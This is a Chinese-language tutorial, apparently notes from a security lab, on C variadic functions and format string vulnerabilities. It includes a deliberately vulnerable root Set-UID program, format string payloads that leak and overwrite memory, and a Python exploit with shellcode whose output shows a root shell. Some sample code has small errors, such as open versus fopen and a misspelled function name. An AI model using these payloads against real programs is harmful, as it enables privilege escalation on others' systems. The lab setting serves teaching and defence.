可变参数
- 多数函数只接受固定数目的参数,而printf可以接受任意数量的参数,printf()函数是通过一种特殊方式定义的,如下所示:
int printf(const char* foamat,...);
- 在参数列表中,函数可以先指定一个参数,后面跟着三个点…,这些点代表可变参数,也就说这些参数可以可无,也可以是多个。
- 在C语言程序中,多数含有可变参数的函数都使用stdarg.h头文件中定义的宏stdarg来访问它们的可变参数:
#include <stdio.h> #include <stdarg.h> int myprint(int Narg,...) { int i; va_list ap; va_start(ap,Narg); for(int i=0; i<Narg;i++) { printf("%d\t",va_arg(ap,int)); printf("%f\n",va_arg(ap,double)); } va_end(ap); } int main() { myprint(1,2,3.5); myprint(2,2,3.5,3,4.5); }
- 初始va_list:myprint()函数中定义了一个va_list指针,用于访问可变参数。
- 宏va_start根据传入的第二个参数来计算va_list的起始位置,宏va_start获得Narg的地址(设为A),根据其类型(int)计算它的长度(设为B),然后设置va_list指针(变量ap)指向A+B,实际上就是指向Narg正上面的内存位置。
- 移动va_list指针:宏va_arg()返回va_list指针指向的值,并使指针指向下一个可变参数的位置,这个指针应该移动多少取决于宏的类型参数,int移动4个字节,double移动8个字节。
- va_end():来做必要的清理工作。
- printf函数如何访问可变参数
- printf函数也是用stdarg宏来访问它的可变参数。
- 上述例子中使用第一个参数来指定参数的个数,参数是成对出现的,每一个包括一个int型和double型。
- printf()函数同样使用第一个参数来达到相同的目的,printf的第一个参数为格式化字符串的地址。
#include <stdio.h> int main() { int id=100,age=25; char *name = "Bob Smith"; printf("ID: %d,Name: %s,Age: %d\n",id,name,age); }
- 在这个例子中,使用了三个可变参数的printf()函数,它的格式化字符串中有三个以%引导的元素,这些元素被称为格式规定符。printf()函数扫描格式化字符串,直到遇到一个格式化规定符,此时,printf()函数调用va_arg()来获得当前va_list指针指向的可变参数,同时va_arg()把指针移到下一个可变参数,把获得的参数看成什么类型的数和把va_list指针移动多少距离取决于格式规定符的类型。
如果可变参数不够会出现什么问题
- 观察下面一段程序:
#include <stdio.h> int main() { int id=100,age=25; char *name = "Bob Smith"; printf("ID: %d,Name: %s,Age: %d\n",id,name); }
- printf()函数依靠va_arg()从栈中获取可变参数,无论va_arg()何时被调用,它都会根据va_list指针获取一个数值,接着将指针移向下一个可变参数。va_arg()宏并不知道是否到达可变参数的末尾,因此如果已经遍历了所有可变参数而va_arg()仍然被调用,它会继续从栈中获取数据,尽管这个数据已经不再是可变参数了。
- 假如一个格式化字符串来自于恶意用户,恶意用户可以故意地在格式化字符串中植入不匹配的格式规定符,因此造成的破坏远超人们想象,以上被称为格式化字符串漏洞。
- 例1:
程序想要输出由用户提供的一些数据,正确的使用方式应该是printf("%s",user_input),但是程序仅仅使用printf(user_input),这种写法和正确的使用方式基本等效,但有一种例外情况,那就是当user_input中含有格式化字符串时。printf(user_input);
- 例2:
程序使用user_input作为格式化字符串的一部分,程序的意图是输出由用户提供的数据以及程序生成的数据,看起来没有错误匹配,因为sprintf生成的字符串包含一个格式规定符,而使用这个格式化字符串的printf()函数也仅有一个可变参数,然而,用户可能在user_input中置入格式规定符,导致错误匹配。sprintf(format,"%s %s",user_input,": %d"); printf(format,program_data);
- 例3:
与例子2大致相同,用户可以控制环境变量PWD内容,植入格式化规定符号。sprintf(format,"%s %s",getenv("PWD),": %d"); printf(format,program_data);
漏洞程序以及实验准备
- fmtstr()函数使用fgets()获取用户输入,接着用printf()函数打印用户输入。
#include <stdio.h> void fmtstr() { char input[100]; int var=0x11223344; printf("Target address: %x\n",(unsigned) &var); printf("Data at target address: 0x%x\n", var); printf("Please enter a string: "); fgets(input,sizeof(input)-1,stdin); printf(input); printf("Data at target address: 0x%x\n", var);) } void main() { fmtstr(); }
- 程序栈:其中最重要的就是va_list指针的起始位置,在printf()函数中,可变参数的起始位置在格式化字符串的正上方,这也是va_list指针的起始位置。
- 编译程序并使它成为一个以root为所有者的Set-UID程序,另外,攻击需要知道目标区域的具体地址,为了简化实验,关闭了地址随机化保护机制。
[07/08/20]seed@VM:~/.../format-string$ gcc -o vul vul.c
vul.c: In function ‘fmtstr’:
vul.c:13:9: warning: format not a string literal and no format arguments [-Wformat-security]
printf(input);
^
[07/08/20]seed@VM:~/.../format-string$ sudo chown root vul
[07/08/20]seed@VM:~/.../format-string$ sudo chmod 4755 vul
[07/08/20]seed@VM:~/.../format-string$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[07/08/20]seed@VM:~/.../format-string$ ls -l vul
-rwsr-xr-x 1 root seed 7484 Jul 8 06:23 vul
利用格式化字符串漏洞
- 使程序崩溃
- 由于程序中对printf()函数的调用不包含任何可变参数,因此在输入中放进一些格式化规定符,就能使printf()函数的va_list指针移动到printf()函数栈帧之上的位置。
- 当程序运行时,printf()函数将解析格式化字符串;每当遇到固定符%s,便从va_list指向的位置获取一个值,并移动va_list到下一个位置,由于格式规定符是%s,pintf()函数把获取到的值视为一个地址,并打印出该地址的字符串。
- 问题是,va_list指针指向的值并不都是合法地址,它们可能是0(null)、指向受保护的地址或者没有映射到物理地址的虚拟地址。
[07/08/20]seed@VM:~/.../format-string$ ./vul Target address: bffff2d4 Data at target address: 0x11223344 Please enter a string: %s Segmentation fault
- 输出栈中的数据
- 假设漏洞程序的var变量中保存着一个秘密值,尝试一系列的%x格式规定符,当printf()遇到%x时,他打印出va_list指针指向的数,并将va_list推进4个字节。
- 为了弄清需要多少个%x指针指向的数,需要计算var到va_list之间的距离,可以做一些调试来计算实际距离,也可以使用试错法,首先尝试6个%x格式规定符。
- 从下面的执行结果来看,var的值由第5个%x输出。
[07/08/20]seed@VM:~/.../format-string$ ./vul Target address: bffff2d4 Data at target address: 0x11223344 Please enter a string: %x.%x.%x.%x.%x.%x 63.b7fba5a0.f0b5ff.bffff30e.11223344.252e7825 Data at target address: 0x11223344
- 修改内存中的程序数据
- 假设var保存了一个重要的数值,这个数值不应该被用户篡改,它的当前值时0x11223344,希望通过攻击将他修改成其他数值。
- printf()函数的所有格式规定符都输出数据,唯有一个例外,它就是%n,这个格式规定符把目前已经打印出的字符的个数写入内存,例如,printf(“hello%n”,&i)会答应出hello,这时已经打印出5个字符,所以当遇到%n时,它会将5保存到变量i中。
- 从%n使用方法可以看到,当printf()函数遇到%n时,它获取va_list指针指向的值,视该值为一个地址,然后将数据写入该地址,因此,如果需要改变var的值,则var变量的地址必须要保存在栈中,也就说说,即使要修改变量var在栈中,如果它的地址不在栈中,仍然无法修改。
- 变量var地址为0xbffff2d4,需要把这个地址保存在栈的内存中,用户输入的内容会被保存在栈中,又因为不能直接输入这个二进制数,但是可以把输入保存在一个文件中,然后令漏洞程序从文件获取输入:
echo $(printf "\xd4\xf2\xff\xbf").%x.%x.%x.%x.%x.%n > input
- 把printf放在$ ()中,使用$ ()的目的在于指令替换,在Bash中它用指令的结果来替换指令的本身。
- 数值之前的\x代表视04为一个数字而不是ASCII码的’0’和’4’。
- x86体系中使用的是小端字序,因此低字节应该放在低端地址。
- 把0x0xbffff2d4保存到栈中之后,需要移动va_list指针到这个数值所在的地址,然后使用%n,这样0xbffff2d4处的内存就被更改。
[07/08/20]seed@VM:~/.../format-string$ echo $(printf "\xd4\xf2\xff\xbf").%x.%x.%x.%x.%x.%x > input [07/08/20]seed@VM:~/.../format-string$ ./vul < input Target address: bffff2d4 Data at target address: 0x11223344 Please enter a string: ղÿ¿.63.b7fba5a0.f0b5ff.bffff30e.11223344.bffff2d4 Data at target address: 0x11223344
- 经实验发现,在第6个%x会输出变量var的地址,因此需要5个%x才能把va_list指针指向这个地址。
[07/08/20]seed@VM:~/.../format-string$ echo $(printf "\xd4\xf2\xff\xbf").%x.%x.%x.%x.%x.%n > input [07/08/20]seed@VM:~/.../format-string$ ./vul < input Target address: bffff2d4 Data at target address: 0x11223344 Please enter a string: ղÿ¿.63.b7fba5a0.f0b5ff.bffff30e.11223344. Data at target address: 0x2a
- 攻击过后,目标的值的确被修改了,它现在的值为0x2a。
- 修改程序数据为指定值
- 可以使用精度或者宽度修饰符来达到目的:
- 精度修饰符形如".number",当应用于整型值时,它控制最少打印多少为字符。如果字符数字不够长,则在前面补0,例如,printf("%.5d",10)将打印00010.
- 宽度修饰符和精度修饰符格式类似,但是没有小数点,当应用于整型值时,它也控制最少打印多少位字符,如果整型数的位数小于指定宽度,则数字开头以空格填充。
[07/08/20]seed@VM:~/.../format-string$ echo $(printf "\xd4\xf2\xff\xbf")%.8x%.8x%.8x%.8x%.10000000x%n > input [07/08/20]seed@VM:~/.../format-string$ ./vul < input ... 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000011223344 Data at target address: 0x9896a4
- 在遇到最后一个%x格式规定符之前,printf()函数以及打印了36个字符:4个字符来自开始的地址,32个字符是由4个%.8x导致的,再加上10000000,得到10000036,即16进制的0x9896a4。
- 更快的攻击方法
- 长度修饰符可被使用在规定符中来限定输出的整型参数的类型,当使用在%n上时,他控制把参数当作多少个字节的整数,在允许加%n的众多修饰符选项中,重点关注以下几点:
- %n:视参数为4字节整型数。
- %hn:视参数为2字节短整型数。
- %hhn:视参数为1字节字符型数。
#include <stdio.h> void main() { int a,b,c; a=b=c=0x11223344; printf("12345%n\n",&a); printf("the value of a: 0x%x\n",a); printf("12345%hn\n",(short int*)&b); printf("the value of b: 0x%x\n",b); printf("12345%hhn\n",(signed char*)&c); printf("the value of c: 0x%x\n",c); }
- 运行代码
[07/08/20]seed@VM:~/.../format-string$ gcc -o test test.c [07/08/20]seed@VM:~/.../format-string$ ./test 12345 the value of a: 0x5 12345 the value of b: 0x11220005 12345 the value of c: 0x11223305
- 可以看到,当直接使用%n是,a整个值都被更改了,当使用%hn修饰时,b的值只有最开始的2个字节被更改,当使用%hhn修饰时,c的值只有最开始的1个字节被更改。
- 把var变量分为两个部分,每个部分各两个字节,较低端的两字节地址是0xbffff2d4,它们需要被改成0x7799,较高端的两字节地址是0xbffff2d6,它们需要被改成0x6688,用两个%hn格式规定符来更改这两处内存。
[07/08/20]seed@VM:~/.../format-string$ echo $(printf "\xd6\xf2\xff\xbf@@@@\xd4\xf2\xff\xbf")%.8x%.8x%.8x%.8x%.26204x%hn%.4369x%hn > input [07/08/20]seed@VM:~/.../format-string$ ./vul < input ... Data at target address: 0x66887799
- 对于前4个%x格式规定符,将精度修饰符设置为%.8x,使每个整型数被打印为8位数,加上之前打印的12个字符,printf()函数已经打印了44个字符,为了达到0x6688,也就是十进制数26248,需要再打印26204个字符,这就是设置最后一个%x的精度位%.26204x的原因,当到达第一个%hn时,0x6688将会被写入0xbffff2d6地址处的两个字节。
- 完成第一个字节内存的修改后,如果立即使用另一个%hn来修改第二个地址内存,形同的值会被写入第二个地址,因此需要输出更多字符以增加到%7799,这就是为什么要再两个地址之间放入4个字节(字符串@@@@),这样一来就能在两个%hn之间插入一个%x来输出更多的字符串。
利用格式化字符串漏洞注入恶意代码
- 有漏洞的程序fmtvul.c
#include <stdio.h> void fmtstr(char* str) { unsigned int* framep; unsigned int* ret; asm("movl %%ebp, %0" : "=r" (framep)); //1 printf("The address of the input array: 0x%.8x\n",(unsigned)str); printf("The value of the frame pointer: 0x%.8x\n",(unsigned)framep); printf("The value of the return address: 0x%.8x\n",*ret); printf(str); printf("\n The value of the return address: 0x%.8x\n",*ret); } int main(int argc,char** argv) { FILE* badfile; char str[200]; badfile = open("badfile","rb") fread(str,sizeof(char),200,badfile); fmtsrt(str); return 1; }
- 在程序的行1,把ebp寄存器的值放在变量framep中,后面会把该值打印出来,这个变量的目的是找到fmtstr()函数的返回地址存放的位置:ebp+4时返回地址的内存地址,此外,还打印了调用printf()函数前后该返回地址存放的内容,目的是看内容是否发生改变,如果没有说明攻击存在问题。
[07/08/20]seed@VM:~/.../format-string$ gcc -z execstack -o fmtvul fmtvul.c fmtvul.c: In function ‘fmtstr’: fmtvul.c:14:2: warning: format not a string literal and no format arguments [-Wformat-security] printf(str); ^ [07/08/20]seed@VM:~/.../format-string$ sudo chown root fmtvul [07/08/20]seed@VM:~/.../format-string$ sudo chmod 4755 fmtvul [07/08/20]seed@VM:~/.../format-string$ ls -l fmtvul -rwsr-xr-x 1 root seed 7492 Jul 8 10:36 fmtvul
- 为了利用格式化字符串漏洞注入代码,需要应对4个挑战。
- 注入恶意代码到栈中
- 找到恶意代码的起始地址A。
- 找到返回地址保存的位置B。
- 把A写入B
- 运行之前的代码
[07/08/20]seed@VM:~/.../format-string$ ./fmtvul
The address of the input array: 0xbffff284
The value of the frame pointer: 0xbffff258
....
- 我们将恶意代码的起始地址设置位在数组起始地址0xbffff284+0x90的地方,即0xbffff314这个地方,需要将其写入返回地址0xbffff25C中。
- 往返回地址0xbffff25C写入0xbffff314,需要将0xbffff25C分割成连续的两个字节:0xbffff25C和0xbffff25E.
[07/08/20]seed@VM:~/.../format-string$ echo $(printf "\x5e\xf2\xff\xbf@@@@\x5c\xf2\xff\xbf")%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x > badfile
[07/08/20]seed@VM:~/.../format-string$ ./fmtvul
The address of the input array: 0xbffff284
The value of the frame pointer: 0xbffff258
The value of the return address: 0x080485c4
^タ@@@\ー80485c4:b7fba000:b7ffd940:bffff358:b7feff10:bffff258:bffff25c:b7fba000:b7fba000:bffff358:080485c4:bffff284:00000001:000000c8:0804b008:b7ff37ec:00000000:b7fff000:bffff404:0804b008:bffff25e:40404040:bffff25c:78382e25:382e253a:2e253a78:253a7838:3a78382e:78382e25:382e253a
䃻·
The value of the return address: 0x080485c4
- 可以看到0xbffff25E.是在第21被打印出来的,因此前面需要20个%x才能到达第一个地址。
- 使用Python来构造攻击字符串
#!/usr/bin/python3 #import sys # This shellcode creates a local shell shellcode=( "\x31\xc0\x31\xdb\xb0\xd5\xcd\x80" "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50" "\x53\x89\xe1\x99\xb0\x0b\xcd\x80\x00" ).encode('latin-1') N = 200 # Fill the content with NOP's content = bytearray(0x90 for i in range(N)) # Put the code at the end start = N - len(shellcode) content[start:] = shellcode addr1 = 0xbffff25E addr2 = 0xbffff25C content[0:4] = (addr1).to_bytes(4,byteorder='little') content[4:8] = ("@@@@").encode('latin-1') content[8:12] = (addr2).to_bytes(4,byteorder='little') small = 0xbfff - 12 - 19*8 large = 0xf314 - 0xbfff s = "%.8x"*19 + "%." + str(small) + "x%hn%." + str(large) + "x%hn" fmt = (s).encode('latin-1') content[12:12+len(fmt)] = fmt file = open("badfile","wb") file.write(content) file.close() # Write the content to badfile file = open("badfile", "wb") file.write(content) file.close()
- content数组的前4个字节用于放返回地址的高位2字节的起始地址,第4-8字节用于存放@@@@占位符,第8-12字节用于存放返回地址低位2字节的起始地址。
- 从前面得知需要20个%x来移动va_list指针,8个字节地址加上4个@符号一共12个字节,前面19个%x用8字节填充,一共12+198=164个字符,第20个%x需要填充0xbfff-12-198,即small的值。
[07/08/20]seed@VM:~/.../format-string$ chmod u+x fmtexploit.py [07/08/20]seed@VM:~/.../format-string$ ./fmtexploit.py [07/08/20]seed@VM:~/.../format-string$ ./fmtvul ... 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000404040401ᄆ۰֍1h//shh/bin⏓ᙰ ̀ The value of the return address: 0xbffff314 # id uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
- 运行结果可以看到我们成功获得了一个root的shell。
- 在一种情况下格式化串的长度是有限的,可以使用一些技巧来减少格式化字符串的长度。
- 一种方法使用格式化字符串的参数域(格式位k$),这样可以选择第k个可变参数。
- 可以使用上述方法来逐次移动va_list指针,只要用一个%.nx来输出n个字符,然后使用%k$hn直接移动指针到位于第k个参数的地址即可。
- 对fmtexploit.py做出如下修改:
samll = 0xbfff - 12
large = 0xf314 - 0xbfff
s = "%." + str(small) + "x" + "%21$hn" + "%." + str(large) + "x" + "%23$hn"
- 最后生成的格式化字符串会短很多
防御措施
1.开发者
- 使用这类函数时,为了避免格式化字符串漏洞,一个好的编程习惯是不要将用户的输入包含在格式化字符串中。
sprintf(format,"%s %s",user_input,": %d");
printf(format,program_data);
//安全版本
strcpy(format,"%s: %d");
printf(format,user_input,program_data);
- 安全程序不应该接受不受信任的用户输入代码。
- 编译器
- 现代编译器已经内置了一些能够检测潜在格式化字符串漏洞的防御措施。
- 内存地址随机化
- 假设一个程序包含一个由漏洞的printf()函数,攻击者想要获取或者修改程序的状态,仍然需要知道目标程序的内存地址,在Linux系统中打开地址随机化能令攻击者难以猜测地址从而使攻击更困难。